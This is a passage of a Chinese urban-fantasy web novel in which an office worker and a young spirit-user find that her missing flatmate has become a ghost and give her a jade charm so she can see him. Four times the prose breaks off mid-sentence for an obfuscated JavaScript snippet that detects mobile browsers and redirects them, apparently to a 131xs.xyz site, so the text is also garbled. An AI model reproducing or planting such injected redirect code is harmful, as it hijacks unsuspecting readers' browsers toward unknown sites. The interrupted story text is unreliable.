她不搭话,项小园只好继续说:“好吧,之前和你说的那些……不全是我算出来的,牢狱之灾是我吓唬你的,不过你是真的有被恶鬼缠身霉运当头的面相,这点我可没瞎说。” 你之前说的明明是血光之灾,李岁荣愤愤地想。 “关于恶鬼,结合你家的怪事,我倒真是有点猜测,但具体如何还要去现场看看。”他的右手在膝盖上轻轻点着,似乎在思索什么,“你先别急着拒绝,我可以暂时装作宁满蹊帮你应付过去。” “但是……”李岁荣善解人意地替他补充。 他将帽子向下微微移开,嗔怒地看了李岁荣一眼:“但是,你需要答应我一件事。” 不知道他中途做了什么,他这次明明只露出了眼睛,但看起来却一点也不像宁满蹊了。这是他原本的样貌吗?仔细端详的话,宁满蹊的眼睛更圆,而项小园的则要狭长一些,眼尾有个不太明显的上扬弧度。不过最大的不同还是后者没有那颗小痣,马上就判若两人起来。 项小园似乎立刻就发现李岁荣的出神,得意洋洋道:“没错,这下你相信我的本事了吧?只要我想,这个危机轻轻松松就能解除。但是我不想的话……” 他悠闲地拿下帽子,轻眨右眼:“看,就像现在这样,那你就自己在有限的时间里努力自证清白吧,加油~” “什么事?你总要先说我才能做决定吧。”李岁荣盯着他那张和之前只能勉强说得上是有几分相似——这种程度说是兄弟倒还能理解——的脸,“先说好,作奸犯科的事一律免谈。” “哎,你怎么总是把我想的那么坏呢?”见她的口风放软,项小园热情地凑上来,“合作对我们来说完全是双赢。这个事对别人来说也许很难,但你肯定没有任何问题!绝不违法,说不定还是有益芸芸众生呢。” “我?”李岁荣不敢置信地指指自己,她能干什么,神棍也要做ppt接女儿上下学?还是要裁员了让她出头当那个恶人?话说神棍被裁会不会画个圈圈诅咒她啊。 项小园殷勤地点着头:“对,就是你!” 他环顾四周,确认他们俩坐在树荫下蛐蛐的事没有任何人在意,这才压低声音小声继续:“我的老师,大名鼎鼎的天瓢道人……你别用那种眼神看我,他是道士我又不是。他有一件很厉害的宝贝,但是最近失窃了,所以派我去找回来,我需要你帮我。” ? 什么?如果不是他的表情非常认真,李岁荣一定会觉得此人的恶趣味梅开二度,故意在消遣自己。且不说他提到的人和物都非常具有玄学色彩很不唯物的问题,一个疑似出家修道的老头丢了宝贝,这和她一个老实上班的OL到底有什么关系? “这是老师说的,他是个很厉害,非常厉害的人。”他说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908287|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果这世上真的还有人能飞升成仙,那这个人一定非老师莫属。” “所以,”他毫不退缩地直视着李岁荣的双眼,“他说只有你可以帮我找回宝珠,那你一定就可以。” “不是,他都这么厉害了东西还能被偷?”李岁荣有点受不了被人这么看着,率先移开视线,“而且拜托,虽然我不知道你能干什么,但我很清楚自己能干什么。我就一个朝九晚五的外包,社畜,坐办公室的,提桶水还要酝酿一上午,我能找什么宝贝?赚钱都赚不明白我!” 这话还真让项小园思考了一会,他捏着下巴边想边说:“老师这么说肯定有他的道理,而且这对你来说也不一定是坏事。但凡灵物为人所盗,肯定是早有预谋要搅起一番风波的。说不定你身上有什么惊天秘密,这才导致你无端被牵扯进来,比如现在。” 他指指自己:“我在你身边还能帮帮你,如果真遇到和‘灵’相关的事,没有懂行的人在,丢掉小命已经是最好的结果了。” “灵”是什么?丧命都是最好的结果,他是在恐吓吗?可他的表情很严肃,并不像是在说笑的样子,尽管他的话比起现实,更像小说里才会见到的东西。想到这一点,李岁荣忽然朦胧地意识到,那是一个全新的世界,过去她曾有过几次机会站在门外偷偷窥探,但都不得要领,被拦在门外。而此时此刻,她就站在门内握着把手,正式获得进入的机会,她必须决定是否真的要做出这个选择。 “你怎么知道他们的目标是我……”她说,“我,或者我身边的人,他们都可能会遭遇不幸吗?” 项小园没说话,只是沉默地点点头。 “虽然我不明白你的……老师,为什么会认为我可以帮到你,”她咽了咽口水,“但是我愿意和你暂时合作,不过你必须答应我,你要保护我和我亲近的人的人身安全。” “比如宁满蹊,我必须要知道他到底在哪里,出了什么事。找到他自然也能证明你的实力,然后我才能继续帮你找宝贝。” “没问题!”项小园露齿一笑,欣然接受了她的要求,“那么合作愉快,李小姐!” 他伸出手掌举到她面前,李岁荣一开始还以为他要揍人,下意识往旁边让了让身子。一抬头对上项小园期待的目光,这才反应过来,犹豫着伸出手掌轻轻拍了一下。 “我看电视剧里都是这么演的,其实还有更复杂的,不过我没学会,下次可以再练练。”他收回手,兴致勃勃地说。 李岁荣对于此人的不着调已经粗粗有几分概念,没搭理他突如其来的要求:“好了,你不是说要跟我回家看看吗?快点走吧,别浪费时间了。” 走了两步,她又突然想起来什么似的问他:“不过,你之前为什么这么笃定我之后还会牵扯进和那个什么‘灵’相关的事里?你还知道什么?” “那个啊,”项小园插着口袋漫不经心地仰着头,他也不知道又从哪翻出一副墨镜,“我不是说了吗?你霉运当头恐有性命之忧啊,真是从没见过你这么倒霉的人。” 没等李岁荣反驳,他又说:“而且,如果你真的和宝珠有关系,那么你一定会源源不断……源源不断地遇到很——恐怖的事。” 看不见他的眼睛,她只能看到他的嘴角微微上扬:“相信我,你不会想要一个人面对的。” 5. 恶鬼 “好了,701就是我家,”李岁荣示意项小园先出电梯,“就是左边那间,别走错了。” 项小园从善如流,他顺着对方的指引看去,那扇门上还贴着春联和财神爷,极富生活气息。 “哎,我们这栋楼的电梯也不知道为什么经常坏,最近更是,”李岁荣抱怨,“如果没人在里面摁着开门键,电梯门就要立刻关掉,很吓人的。对了,你看出什么来了吗?” “唔……”项小园不置可否,“进去说吧。” 既然之前说了暂时合作,李岁荣也不扭捏,爽快地打开门。一阵凉风扑面而来,驱走些许行走带来的热意,让人心情愉悦不少。 本来应该是让人心情愉快的。 “空调不是我开的,”李岁荣小声说,“我走之前围裙明明放在椅背上。” 但现在椅背上空空如也。 “嗯,关于这个,”项小园四处张望,“我有一个好消息一个坏消息,你想先听哪个?” “那还是先听坏消息吧……你为什么还在门口不进来?” “坏消息是你家里确实有只恶鬼,现在正恶狠狠地看着我们。”项小园风轻云淡,“鞋子脱在外面吗?” 他好像若无其事地忽略了另一个问题……李岁荣忍住吐槽的欲/望,谨慎地回答:“没事,放那就行,但是……” 真的不要紧吗,你好像完全是进不来的样子啊。 她看着对方扶着门框,用力到手指尖都发白,额头上甚至可以看到暴起的青筋,紧闭着嘴巴两颊用力的样子,吞下没说完的话。 项小园和所谓恶鬼兀自较了会劲,这才想起来旁边还杵着个大活人似的,从牙关里挤出一句话:“好消息就是,恭喜你,你要找到的人远在天边,近在眼前。” 他的话音刚落,客厅里的立式空调扇板就发出咯吱咯吱的声音,仿佛有人正在大力挤压。不仅是空调,茶具、摆件乃至一些材质比较轻薄的木板,都纷纷震动着,好像不堪重负,下一秒就要粉身碎骨。 “你是说小,宁满蹊现在就在这里?!”李岁荣情不自禁地高声反问,她忍不住向前一步,伸手捞了一把空气,“那个恶……那个鬼魂就是……” 项小园张口刚要回答,脸颊上却清晰浮现出五指压下的痕迹,像是有个看不见的人正伸手死死抓着他的下颚,令他整个颈部动弹不得,只能吐出几个支离破碎的音节。 李岁荣慌忙伸着胳膊四处挥舞,试图打断透明人的暴行,却只能触碰到空气:“我要怎么帮你?你还好吗?需要我喊人吗?” 她一边担心这么大的动静会扰动邻居,一边又不敢随便靠近疑似被缠身的项小园,一时之间反倒僵在原地,不知如何是好。 “喂……”项小园的脸被捏得变形,语气还含着丝笑意,挣扎着要说话,“看……哥哥……太开……吗?” 伴随着他的话音,一条蜿蜒的冰龙顺着那条看不见却扼着他下巴的胳膊盘旋而上,令看不见的“恶鬼”下意识松开手:“玩游戏也差不多要适可而止啊,宁小路。” 妈妈,物理学真的不存在了!李岁荣目瞪口呆地看着这一幕,结结巴巴地问他:“这个就是……法术……还是你的超能力?” “呼。”项小园拍了拍手掌,几块冰屑扑簌簌掉在地砖上,他神色自若地关上门,“那些都是小事,我得先想个办法让你看见这家伙,不然再闹一次我可赔不起你这些家具。” 经过疯狂大脑风暴,李岁荣姑且按照自己的方式理清了自己将或者说正在面对的烂摊子:首先,她姑且算是找到了罪魁祸首;其次,罪魁祸首疑似已经小命呜呼;最后,这个神棍何止是有两把刷子,保底也得是个隐姓埋名的超级人类,而这个超级人类就在不久前正式邀请她和自己一起勇闯超人类圈…… “天啊,我怎么这么倒霉……”她双目无神地跌坐在沙发上,“你说吧,是要牛眼泪还是要打开任督二脉,我已经在小润发杀了十年鱼已经不会再……” “嗯,都不需要这些啦。”他笑眯眯的,随手扯了张椅子就要坐下。说时迟那时快,椅子就在即将要和他的破烂牛仔裤接触的前一秒,诡异地平移了足足一米。 “小气鬼。”项小园撇撇嘴,无实物表演般保持着坐姿,“看看哥的核心力量,羡慕不来吧。” 回答他的只有各种家具再次发出的咯吱声,李岁荣赶紧打断他:“说正事!没椅子坐你就坐地上!空调坏了我们全都得中……不对,空调坏了你就去干空调的活!” “我正要说呢,”项小园不知道是被哪句话打动了——李岁荣认为是最后一句——正色道,“之前我不是说了吗?你看起来一副短命——打我干什么!死了你们正好做对鬼夫妻。” 他揉揉自己刚突然被袭击的脑袋:“在此之前,我必须给你简单科普一个概念。所有活着的东西,哪怕是我身边这个你看不见的家伙,身上都必然有一种能量。我们称呼它为灵,也有人称之为玛纳,灵力……” “也就是说,除非是纯粹的死物,不然这世间的万事万物都拥有,或者附着着灵。”他伸手画了个圈,随着他手指的移动,一个散发着寒气的冰圈静静浮在空中,“这个‘死物’的概念不是说没有生命的东西,之所以我能凭空捏出一块冰,就是因为水也是有灵的,尽管它不会说话也没有自己的意志。” 他凝视着李岁荣的双眼:“你明白我的意思吗?我们评判生与死只有一个标准,就是是否还有灵。一旦所有的灵都被剥去,比如这样。” 冰圈忽然卸了力一样摔在地上,四分五裂,而后在李岁荣的注视下又慢慢融化成了一滩水。 “在我们的世界里,它就算是彻底死去了。”他伸出一根手指,试图搅动那滩冰水,“而作为还活着的那一方,我没有任何办法对它施以改变。” 那滩冰水就像被人单独放在另一个图层,无论手指怎么努力抹匀它,都自顾自地躺在那不为所动。 不仅如此,项小园还将自己的手指展示给李岁荣,那上面干干净净,丁点湿意也没有。为了避免是自己的眼睛出了问题,李岁荣甚至用自己的手指碰了碰他的,指腹温暖干燥,连一丝寒意都无。 她纯粹是秉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908288|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着认真研究的精神,项小园却像一只受了惊的猫,突然把手缩了回去。 “怎么会这样……”李岁荣没在意他的动作,难以置信地感叹道,也效仿他的动作用食指去抚摸那滩积水。甫一接触到水面,先传来的却是一种穿破什么屏障,或者说是塑料膜一样的凝涩感。这种感觉稍纵即逝,她还来不及思索,便抹开了那一小滩水。 “咦……?”她愣愣地捻了捻手指,几颗水珠争先恐后地从指尖流淌下来,“为什么我可以碰到?” “果然是这样,”项小园一脸意料之内地耸耸肩,“你是我这辈子见过的唯一一个身上一点灵也没有,还可以正常生活的人。用英语说,应该叫那个,B-A-G,八哥是吧?” 李岁荣觉得嘴里有些发苦,也顾不上吐槽那叫bug,下意识茫然地问他:“你这是什么意思……?” “就是说,以我们的标准来说,你才是早就死的不能再死的那个。”项小园想了想,“正常情况下,除非是被灵使——也就是我们这种人——一口气夺走了全部的灵,不然在生命最后,所有有灵魂的生物都会被最后一点灵带着回归永恒的彼岸,也就是传说里的冥府?天堂?往生地?” 他摊摊手,不以为然道:“反正就是那种地方,你懂的。不过有能力瞬间夺走生物全部灵的灵使非常非常非常稀少,再加上这种行为有伤天和,最后总会得到报应,所以就算可以也不会有人这么做。” “你的意思是,因为某个很缺德的人,我理论上应该变得像这滩水一样?不能接触到任何东西也无法被人接触?”李岁荣问他。 “可以这么说吧,”项小园打了个响指,“所以我们寻宝的进度也得加快了。” 李岁荣心有灵犀地明白他的言下之意,她的状态就像是个定时炸弹,不知道什么时候就会轰地一声爆炸,变成一个无处可去也无人知晓的幽灵,所以得在此之前履行诺言帮助他顺便准备好自己的后事。 “你放心,我不会食言的。”听罢,李岁荣挽起袖子站起来,“说吧,我们要先从哪一步开始?练习见鬼的能力吗?” 项小园有些惊奇地看着她,期间顺手又和透明的宁满蹊过了几招,不断有冰屑噼里啪啦地落到地上。 “还以为你会毁约或者大哭大闹呢。”在她被他的目光激怒忍不住发问前,项小园笑着道,“一下山就能和你这么靠谱的人合作,看来我运气还不错嘛。” “如果你没骗我的话,那我现在每多活一分钟就是赚一分钟啊!”李岁荣不满自己被人看低,“一寸光阴一寸金不懂吗?哪有时间用来悲伤,赶紧把该干的想干的都干了才对。” “更何况我妈从小就告诉我大女人一口唾沫一个钉,答应你的事当然得赶紧做,不然到时候岂不是愧对列祖列宗。”她强调,“我们李家十八代单传,个个言出必践!” 也不知道她的理由项小园到底相信了没有,李岁荣盯着他,直到他开始歪着头表示疑惑。 但是就在她想追加解释之前,项小园抢先开口道:“好!那我们就正式开始吧。你家有玉佩吗?” 6. 玉葫芦 “抱歉,项,项先生,”第一次这么正式称呼他,李岁荣难免有些磕吧,她站在客卧门口探出一个脑袋,“你方便过来一下吗?不知道这块玉符不符合要求。” 客厅里的两兄弟之前还爆发了几次或大或小的战争,鉴于其中一个穷得早饭要人施舍,另一个明面上还属于行踪不明。没有任何一个人能在经济上对这战争的后果负责,所以全都被李岁荣无情地镇压了。 正在客厅无所事事玩手机(如果她没看错的话,这应该是宁满蹊的备用机)的项小园应了一声,李岁荣又赶紧嘱咐:“小路去看看卧室,我记得你以前也送给我过,但是我不记得放哪了,你去找找。” 于是在趿拉着拖鞋的项小园身后,一件浮在空中的围裙也飘飘悠悠进了卧室。 这当然也是项小园的主意,他对此的解释是“他现在是24k纯灵体,你当然看不见了。不然套点什么呗,不值钱的就行,他穿这些都容易坏。” 当时差点战火重燃的事暂且按下不表,总之,确认对方被支走,李岁荣蹑手蹑脚地虚掩上客卧房门,这才小声问项小园:“之前不好意思问你,小,不是,宁满蹊他是真的……?” “其,”他第一个字刚出口,就被李岁荣一把捂住嘴,她又是比手势又使眼色,急得像是要演默剧。 项小园一开始还笑眯眯的,下一秒却突然变了表情,她这才意识到自己的行为多少有些冒犯,立刻收回手,小声向他道歉。 “不……没事。”那一瞬间的变脸好像李岁荣的错觉般一闪而逝,她几乎疑心是自己太心虚而看错了,项小园这次配合地低声道,“其实我也不确定。生魂离体大多都浑浑噩噩,只能徘徊在自己肉身旁边,倘若肉身生机断绝,很快就会被牵引往彼岸。毕竟灵魂只有在自己的肉身里才能保证灵不外泄,哪怕是天赋奇才,天生磅礴的灵,也无法保证自己能在人世多留个一时片刻。” 可是宁满蹊已经至少在家里徘徊两三天了。 “所以……也许他也是有什么奇遇?”李岁荣猜测,“难道他的身体就在家里?” 胆大如她,这个想法也难免使自己背后一凉。 “不,以我的能力来看他确实是死后生魂离体,肉身生机断绝才导致魂魄无处可归。至于为什么他可以……”他摇摇头,“就像你一样,也是个我从没见过的怪胎。” 我看你才是最大的怪胎。李岁荣在心里偷偷骂他,面上摆出一副忧郁的表情:“那是不是因为我?就像你之前说的……” “我怎么知道。”项小园的配合时间比会员试看还短,他插着口袋又开始溜达,“你不是说要看玉吗?哪呢?” 他给出的解决办法很简单,两个字:戴玉。 自古以来就有人养玉玉养人的说法,据项小园解释,就像银是导电性最好的金属一样,玉也是导灵(姑且这么称呼吧)能力最强的媒介。佩戴纯度越高的玉,就越能帮助人呼吸吐纳灵,灵越富足,自然也就延年益寿了。 所以佩戴上一块好玉,加上一点“专家”的帮助,李岁荣也算是勉强回归正常人行列,可以佩戴他们特制的见鬼眼镜了。 “没找到,我哪有钱买玉。”李岁荣没好气道,“就是把你喊过来的借口而已。” 项小园从鼻子里挤出两声算作回应,磨磨蹭蹭又溜达回门口。正要出门前,他又像突然想起来什么般说:”你可要想好了。这也只是让你看起来像个正常人而已,并不能真的让你高枕无忧。你虽然算是个死物,但死物也有死物的好处,灵使轻易奈何不了你。” 李岁荣明白他的意思,戴上玉见了鬼,她就不再是那滩无法被人触碰的冰水。到那时,她不过只是能看见所谓灵使,对方却能真真切切伤害到她。 不过他为什么要提醒自己呢,这是他刻意的示好,还是他就是这么一个嘴硬心软的家伙? 摸不透他葫芦里卖的什么药,李岁荣不动声色地感叹:“哎,谁叫我一诺千金呢。” 也不知道项小园听到没有,他头也没回,仍然懒洋洋地趿拉着拖鞋,慢慢走回了客厅。 - 为了避免她故意支开宁满蹊的行为太明显,李岁荣还是决定在屋子里随便翻翻消磨一会时间。 这间客卧平时几乎只用来堆放杂物,不论是她还是宁满蹊都没有什么会来上门拜访的亲人(现在估计有了),赵无意甚至还有门禁,更加不会在这里留宿。 要说最了解这里放了什么东西的人,那肯定非保洁阿姨莫属。她虽然很笃定自己没买过玉,更别提上好的宝玉。但宁满蹊相当迷信,有段时间很是痴迷于买玉啊翡翠之类的东西,说不定就有些被扔在这里的沧海遗珠。 找到宁满蹊这个消息多少还是让她感到一丝脚踏实地的安心,很快,这种安心又被对未知的担忧打散了。她一点也不想自己的这一面被宁满蹊或者项小园知道,难得有这种光明正大放空自己的好机会,她一边不断开着各种柜子,一边漫无边际地神游着。 不知道开了多少个抽屉,她忽然瞥到一沓薄薄的信纸。 这些信纸应该已经颇有年头,上面压着数本《小公主杂志》、《大说绘》之类她以前很爱看的杂志和漫画,只堪堪露出泛黄的边角。 鬼使神差地,她挪走那些杂书,小心翼翼地打开第一张信封。 信封上画着廉价的卡通图案,黏贴邮票的地方还能摸到干燥的胶水的痕迹,邮票却已经被取走,也不知道是什么寄出的信件。不只是邮票,就连应该写寄件人和收件人的地方也是一片空白,要不是还能隐约看见邮戳留下的印记,李岁荣会认为这是自己小时候写来自娱自乐的。 这是她小时候的笔友吗?李岁荣小时候出过车祸,导致她忘记了车祸之前的所有事,不管是妈妈还是之后照顾她的梅姨,都对此讳莫如深。此时能找到和那段被遗忘的过去相关的东西,她有些激动地取出那封信。 一封、两封……她很快就看到最后一封。令她失望的是,这些信虽然都来自于某个她童年时结交的朋友,却并没什么有营养的内容。对方完全不懂书信的正规格式,字迹固然板正,但完全是小学生的标准田字格体,几乎全都在谈最近看了什么动画片或者小说,并且还是些及其冷门生僻的作品,压根不适合小孩,佶屈聱牙极了。 “咦?”最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908289|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一封手感沉甸甸的,里面似乎装了什么东西,久经岁月的信封已经发脆,她不敢用力,索性直接把东西倒出来。 除了熟悉的信纸之外,一块雕刻成葫芦形状的玉佩一起掉了出来。 饶是李岁荣对鉴玉一窍不通,也能看出来这绝对是块宝玉。这葫芦白如凝脂,油润细腻,即使被人反复摩挲也清清凉凉,令人爱不释手。 这是他寄的?小学生也这么有钱?她大为震惊地打开最后一封信,这次终于不再是文学交流,上面只简单地写了一句话。 【谢谢你的礼物,这是回礼。】 这之后不知道发生了什么,两人再没有通信过了。 “也不知道我当时回信没有……”李岁荣咬着嘴唇想,“小孩子不知道东西值钱,大人也不知道吗?这么珍贵的葫芦也能随便寄出去?” 但她转念又想到自己的母亲李女士的性格,不由得感到一阵心虚:“换李女士来那肯定是送上门的便宜不占白不占,也难怪会被留下来……” 她十分苦恼地盯着这块烫手山芋,很难判断要不要把这件事告诉他们。说吧,那估计八九不离十就要用这块玉了,但毕竟不是自己的东西,万一这是小学生偷的传家宝呢?可不说吧,一来自己刚放大话说要倾囊相助,马上就藏起关键道具,实在显得十分猥琐奸诈。二来要是对面就是个富二代,美玉扔着送人玩,浪费别人的好意好像也非常不厚道…… 思来想去,她决定先把这块玉放在身上,要是宁满蹊能找到更好的就用他的,要是找不到,那再把原委告诉他们好了。 - 等她收拾好回到客厅时,围裙和手机瘾正坐在沙发上的两端,相隔八百米远,活像身上装了磁铁同极似的。 “这是你找到的吗?”李岁荣只好充当一次幼儿园园长,“你居然买了这么多?” 围裙动了动,似乎十分委屈。 “我都看过了,”手机瘾还在刷抖乐,头也没抬,“这傻子一看就是冤大头,被人宰的大肥羊,这些玉没有一块能用的。” 李岁荣随手拿了一块绿得深深浅浅的翡翠,紧接着是一股提神醒脑的香气迫不及待闯入鼻腔:“这是……?” “风油精泡的,泡了七七四十九天呢。”项小园阴阳怪气地笑,“也挺好的,虽然不能纳灵,好歹能驱虫。” 围裙眼看就要跨过楚河汉界,在破烂里挑挑拣拣的李岁荣立刻大喊一声:“不许打了!我还找到一块!” 她不情不愿地掏出那枚葫芦,项小园本来还在看电影解说,此时也坐直了身体。 “这是……”她把信的事一五一十说了,只是省去了自己失忆的部分,“我们可以暂时用着,如果以后还能联系上对方,再商量商量要不要还回去。” “原……”项小园说了什么,但电影解说的声音实在不小,她完全没听清。他接过葫芦,上下打量着,“好吧,这块还勉强合格。” “你戴着这块玉,最好戴在胸口,可以用衣服盖住。”他说,“一旦我施法完成,之后无论发生什么事都不要把它摘下来。” 李岁荣咽了口唾沫,紧张地点点头。 7. gogogo出发咯 项小园的话音刚落,忽然狂风大作,窗外高挂的艳阳霎时被层层乌云掩住。无需侧耳,便能听到云层中酝酿的滚滚雷声,眼看一场倾盆大雨就要来了。 “呿!”项小园大喝一声,一道如婴儿小臂般粗壮的闪电居然“哗啦!”一声破窗而入,奔涌向李岁荣的身体之中…… 抱歉,以上纯属个人想像加工,花里胡哨的特效也好,令人虎躯一震的感觉也罢,统统都没有出现。 “好了。”项小园低声念叨了两句,又随手指了指她颈上挂的玉佩,就掏出那副眼熟的墨镜,“喏,戴着这个就可以看见宁满蹊了。” “这就完了?”做足心理准备的李岁荣慢慢睁开眼睛,很有种去电影院看啊!凡达结果播的是广播体操的感觉,“一定要是墨镜吗?感觉有点……” 有点装,还有点弱智。 “换皮肤要加钱的哦!”项小园嘟囔,“你要什么样的?那个战斗野兽*的不行,造假的事情我可不干。” 这小子还知道潮牌呢,李岁荣腹诽,嘴上不忘强调:“换个普通皮肤就行,不要那么豪华的!” 项小园随口答应着甩甩手,那副墨镜瞬间就变成了一副普通的黑框眼镜,他把眼镜递给李岁荣:“这下可以了吧,你先试试能不能用。” 她只好半信半疑地接过眼镜戴上,把目光移向沙发上的漂浮围裙。 阔别几天的宁满蹊穿着他刚买不久的那件王意威,正襟危坐,眼巴巴地盯着她。 见她半天没出声,宁满蹊扭捏一阵,终于忍不住发问:“小草,你,你现在可以看见我吗?” “项小园,你这眼镜有问题啊,”李岁荣扭头,“我还是什么都看不见,宁满蹊在哪呢?” 项小园抬眼,正好瞥见李岁荣狡黠的笑,于是又低头继续去看手机:“反正我就会这个,要是还看不见我也没办法。” “你这人怎么这么没素质啊!”宁满蹊闻言满脸崩溃,抄起地上的凳子腿(这还是上一轮大战里阵亡的)就要砸他,“不就是要钱吗,我的钱都给你!” “天生的,你羡慕不来。”项小园食指往下滑,“我不需要你给啊,反正你也死了,合法继承或者冒名顶替随便我选咯。” “你!”宁满蹊被噎得说不出话,下意识求助李岁荣,“小草他骂——” 话说了一半,他又很快意识到李岁荣并不能接收他的求助信号为他主持公道,只能蔫巴巴地弯下脊背,侧过头揉了揉眼睛。 看来给人希望又破灭的感觉可能不太好受,李岁荣叹了口气,走到他身边坐下。 “他骂你,你不会骂他啊?”她说,“我看看,你不会被气哭了吧?” “我没哭!”宁满蹊立刻抬起头,他的脸上确实只有沮丧而非泪水,这种沮丧在看到她微笑的眼睛时又飞快地变成了惊喜。 “你,你,”他语无伦次,“你可以看到我了?!” 李岁荣被他的反应逗笑了:“对呀,你怎么一骗就上当?” 宁满蹊捂着嘴,张开双臂就扑向李岁荣。 这份短别重逢的拥抱大约只持续了一秒不到,她甚至只是隐约感到一阵些微的凉意,宁满蹊就直直穿过了她的身体,摔在沙发上。 就像电视屏幕接触不良一般,他的身影也忽隐忽现了几秒,而后随着他慢慢起身而逐渐恢复清晰。 “这是怎么回事?”李岁荣问皱着眉站起来的项小园,“他碰不到我吗?” “你全身上下的灵都靠玉葫芦维系,正常人本身就能吸收吐纳灵,佩戴玉佩不过是锦上添花,你可以么?”他不爽地拎起宁满蹊的衣服把他赶去一边,“他是纯灵体,想要和有实体的东西接触只能唤起他们的灵,你有多少灵能和他拥抱?换块破玉早就炸了!” “还好这玉质量不错。”李岁荣有些后怕地拍拍胸口,“小路这不是不知道吗?别再把他说哭了。” 她这样说着,探头去项小园身后看他。宁满蹊满脸内疚,可能还有些羞赧,倒确实没有泪意。 “孤魂野鬼一个,哪还有流泪的功能。”项小园翻了个白眼,往后一躺靠在沙发上,“赶紧说正事,宁满蹊,你到底怎么死的?” 他到底怎么出事的?这当然也是李岁荣心头盘旋已久的疑惑,不过这也许会让宁满蹊受到二次伤害,所以便一直憋在心里。这问题突然被项小园大大咧咧地问出来,李岁荣下意识就想制止他。 “我,我真死了?”出乎意料的,宁满蹊只是茫然的看着他们,喃喃反问,“我是怎么死的?” - 生活真是起起落落落落落落落落啊。 发泄般啃着挤完地铁变成玉米泥的玉米,李岁荣在心里哀嚎。 尽管昨天最后项小园配合她一起去撤销了报警,让自己姑且脱离了犯罪嫌疑人的身份,新的问题却源源不断,前赴后继地前往她身边。 先不提所谓的宝珠究竟在哪,又要怎么找。为宁满蹊报仇,或者说找到他的身体(李岁荣还不是很想称之为尸体),调查他身上发生了什么事又一跃成为了必做清单的前三名。 至于保险的问题,这点宁满蹊倒是还有印象,不过他的答案却把李岁荣气得够呛。 他当时是怎么说的?“那些是我买的啦,”宁满蹊不好意思地挠挠头,“我好像知道有人要我去死,但我死了你怎么办?所以我就……” 其他的,是谁要杀他,他是怎么发现的,宁满蹊反而一问三不知,把他问急了干脆饭遁,也就是跑进厨房声称要做饭去了。 “唉……”一想到这个让人操心的家伙,李岁荣就忍不住长叹一声。 “怎么了小李?”身边也在风卷残云早餐的同事王语熙好奇地问,“谁又给你气受了?” “别说了,根本没法说!”李岁荣抱怨。 “还能有谁,今天又轮到她跟郑总汇报呗。”陈思霏说,“今天郑总看起来心情很糟糕哦。” “他哪一天心情好过了?”李岁荣又啃两口玉米,突然警觉起来,“不对,陈姐,你还知道什么?” 陈思霏伸出食指摆了摆,意味深长地摇头:”nonono,以前他上班像便秘,今天那完全是屎把下水道堵了水花还溅了一脸还不得不跑出来找邻居求救的程度。搞不好是又被Bess挑刺了。” “那我一会岂不是要撞枪口上!”李岁荣惨叫一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908290|176819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“周五我还拒绝帮他接女儿!” “那你自求多福吧。”陈姐同情地拍拍她的肩膀,“往好了想他应该不会一时冲动就把你开了。” “他说今年年内帮我和总部沟通转正手续的!!”李岁荣瘫倒在椅子上,“不会又要泡汤吧……” 看到这么悲伤宛如一条死鱼的家伙,大家终于也不好意思再说什么,纷纷四散开来,各自为政说起别的小话去了。 正如之前介绍的那样,李岁荣作为本公司唯一一个干了一年多年活还没被赶走的外包,全靠做事足够牛马,做人足够全能。她本来是作为后勤临时派遣来的,但文能做ppt武能修电脑,甚至谁家孩子没人接也愿意搭把手,开家长会临时顶包一下家长也不在话下。一来二去,大家也都愿意她留下来了。 他们之前提到的郑总和Bess,前者是他们的顶头上司,人事部总监郑仁武,全靠自己有个好舅舅在总部呼风唤雨,这才得以在子公司狐假虎威,让大家苦不堪言。后者则是半年前才刚空降来的CEO,不折不扣的女强人,她不仅自己来,还带了一套自己的私人班底,和郑仁武总是针锋相对地打擂台。 不过,他们彼此看不顺眼的原因,向上溯源还要归结于总部的派系之争。总部的斗争如火如荼,即使远在子公司大家也多多少少有所了解。郑舅舅一派元老和Bess曾经的直属上司,正在为谁能成为下一任掌权人打得不可开交。 